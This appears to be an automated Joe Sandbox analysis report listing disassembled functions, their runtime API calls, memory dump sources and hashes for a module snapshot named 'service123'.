Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 193ad9b64f4fac70456655f4995a31919239bea119a444caa21e931692e9a254
Instruction ID: ffba75709deffb74f6fce24ae5de16460969430e071455c5786dba202259854d
Opcode Fuzzy Hash: 193ad9b64f4fac70456655f4995a31919239bea119a444caa21e931692e9a254
Instruction Fuzzy Hash: C041C3B1A012149FCB04DFA8C5917D9BBF5BF4A345F28857AE854EF782E3369402CB50

Function 6C7AD370 Relevance: 31.6, APIs: 21, Instructions: 130sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7ACD00: strlen.MSVCRT ref: 6C7ACD7D

Sleep.KERNEL32 ref: 6C7AD4D7
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort$Sleepstrlen
String ID:
API String ID: 68130653-0
Opcode ID: 790489a91eb6e379d5db2e8fd9f4102d15556099571b1519fbe73bda7fceffda
Instruction ID: 1867896483f5121bb834c0f4949d57bd9eba9df2ba4dd0fe2f6d9d55c90b0cb7
Opcode Fuzzy Hash: 790489a91eb6e379d5db2e8fd9f4102d15556099571b1519fbe73bda7fceffda
Instruction Fuzzy Hash: 8F51DEA02083C0CAFF21CB79C1497557FF0676330CF08567DCA985B682D3BA5609C7AA

Function 6C7AD570 Relevance: 28.6, APIs: 19, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: e70362fac9371d0539db4aecce9f8634693eda52de4ae30fae33a2eb25087f5b
Instruction ID: c9cf4941eea8c66815156dee7418e04f547e83f627d4046490e6bd699b73ff51
Opcode Fuzzy Hash: e70362fac9371d0539db4aecce9f8634693eda52de4ae30fae33a2eb25087f5b
Instruction Fuzzy Hash: A431F5706093058FE3209F99DA8476ABBE0BBD5348F148A3DE99897B10E335D445CB85

Function 6C7AD67C Relevance: 28.5, APIs: 19, Instructions: 32COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction ID: 188c0f28127734e5159bdf874fe6e50b9069a0fb87f42e5be53466f31c394490
Opcode Fuzzy Hash: 6a978986521d2faa4f21e49faa05e83597843df431b75155095465bb83b63a9b
Instruction Fuzzy Hash: AEB01210CD9134C741203FE44B4E0B9B6747B33344700BC00412633D414B20F445C054

Function 6C7AD6C0 Relevance: 27.1, APIs: 18, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 53733a1bde6bacaa07aa3e46ea0726b243a9c09e1e418339f811893a3963a824
Instruction ID: d6eecd4fb3421968d78c91fb26a05844fb8c86a0ac6e74f080f6c16d8bd6d552
Opcode Fuzzy Hash: 53733a1bde6bacaa07aa3e46ea0726b243a9c09e1e418339f811893a3963a824
Instruction Fuzzy Hash: 0E417BB46093018FD314CF5AC68075ABBE0EF99308F108E2EE999D7711D335D8458B96

Function 6C7AD855 Relevance: 25.5, APIs: 17, Instructions: 45COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2fd3caf0cb2b06676db9c70fb4e376515151e6147ceb5c486ce84319aaebc1f2
Instruction ID: d867ec39be4773a02658c191c6fdb825ba7682cdb6b2ed7d7868f2f153ceb057
Opcode Fuzzy Hash: 2fd3caf0cb2b06676db9c70fb4e376515151e6147ceb5c486ce84319aaebc1f2
Instruction Fuzzy Hash: 21E0E5309082568FE320EE68C2853297BA17B5330CF141D58C95137A42C335A44BC745

Function 6C7BC330 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 130fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C7BC3A1
fwrite.MSVCRT ref: 6C7BC448
fputs.MSVCRT ref: 6C7BC465
fwrite.MSVCRT ref: 6C7BC48E
fputs.MSVCRT ref: 6C7BC4AD
fwrite.MSVCRT ref: 6C7BC4DC
fwrite.MSVCRT ref: 6C7BC50E
abort.MSVCRT ref: 6C7BC513
abort.MSVCRT ref: 6C876157
free.MSVCRT ref: 6C87615F

Part of subcall function 6C7AA340: strlen.MSVCRT ref: 6C7AA3C5
Part of subcall function 6C7AA340: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C7BC41C), ref: 6C7AA3E0
Part of subcall function 6C7AA340: free.MSVCRT ref: 6C7AA3EA

Strings

not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 6C7BC349
terminate called after throwing an instance of ', xrefs: 6C7BC441
-, xrefs: 6C7BC4C1
terminate called without an active exception, xrefs: 6C7BC4D5

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: fwrite$abortfputsfreememcpy$strlen
String ID: -$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): $terminate called after throwing an instance of '$terminate called without an active exception
API String ID: 4144276882-4175505668
Opcode ID: 603b8dce51c26d798a9363630ddd310a75aaabab794af810a1226ca77880bda7
Instruction ID: b4ec2e2626816045e74599fb21d26f0790ebd59385b30d1012aa021529bb952f
Opcode Fuzzy Hash: 603b8dce51c26d798a9363630ddd310a75aaabab794af810a1226ca77880bda7
Instruction Fuzzy Hash: 0F514CB04093149FD720AF68C64879EBBF4BF86308F00892DE4A597741EB749589CFA3

Function 6C7AD8A8 Relevance: 24.1, APIs: 16, Instructions: 52COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: a1bcc61f7d948ec1cd4b2aab9ac3c2c86b76caed1eb50df352c1cd21699cdd8a
Instruction ID: 77e58ea183b1b4155a4dd3685d53d92057660402966710533ee5f11ee77e13d6
Opcode Fuzzy Hash: a1bcc61f7d948ec1cd4b2aab9ac3c2c86b76caed1eb50df352c1cd21699cdd8a
Instruction Fuzzy Hash: 33F02EB09653468FE320DF19C6853667FB07B53315F480D44D8842B743C3359499C7A1

Function 6C7ADE50 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

@, xrefs: 6C7ADEB8

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 87a01aea04c0e3a013c7a6594bcfb0e835412cc5bd9e9cf52c84faaa3b1f2bd4
Instruction ID: 99bba7c3975498af7e957e81c00d3f43ad2b6708f26ef44d8f7d97bf16e049ed
Opcode Fuzzy Hash: 87a01aea04c0e3a013c7a6594bcfb0e835412cc5bd9e9cf52c84faaa3b1f2bd4
Instruction Fuzzy Hash: 4321C67060525DCBDB20DF94CE88BDD77B8AB66309F1046B6DD19AB600E7319A89CF84

Function 6C7ADA90 Relevance: 22.6, APIs: 15, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: cf8f424e89f524c52de07978ea3185b3f8741f6867ab08ed101e48eba0637597
Instruction ID: 585e58eaf3c75f445d4632655bf2c79af938ce56ae7a48390b3ac8348ed59fb5
Opcode Fuzzy Hash: cf8f424e89f524c52de07978ea3185b3f8741f6867ab08ed101e48eba0637597
Instruction Fuzzy Hash: A8413C74A042199BCB10DF94CA847DEB7B1BB99318F148AA9DC49B7700D730AE85CF90

Function 6C7ADCE0 Relevance: 21.1, APIs: 14, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction ID: 0e90fbbafe93d0f5b1b1c499572fd885dda8dcf050bc9574c2fea41f45c4e6b6
Opcode Fuzzy Hash: 730b82d2da7bc35f9127cbebe574e0472547f7dc119ace965d717b640774afe3
Instruction Fuzzy Hash: 9B111F74900218DBCB14DFA4C5899DEB7B5BF56358F04C964DC0977B01DB30AE49CB90

Function 6C7ADD80 Relevance: 19.6, APIs: 13, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe2482c830eee9ded9460493a8ea6eab20a7d1ebb5a31b0fcc83bb6770a18bd
Instruction ID: fece6706600d335750358196b7cc0d34c2b20835b84fb16ef376009d500e7ab0
Opcode Fuzzy Hash: 5fe2482c830eee9ded9460493a8ea6eab20a7d1ebb5a31b0fcc83bb6770a18bd
Instruction Fuzzy Hash: 56210874A0021DDBCF10DFA0CA899DEB7B5BB96348F1489A8DC0977741D730AE4ACB90

Function 6C7B0310 Relevance: 18.2, APIs: 12, Instructions: 165COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C87395F), ref: 6C7B034B
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C87395F), ref: 6C7B0352
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C87395F), ref: 6C7B0360

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
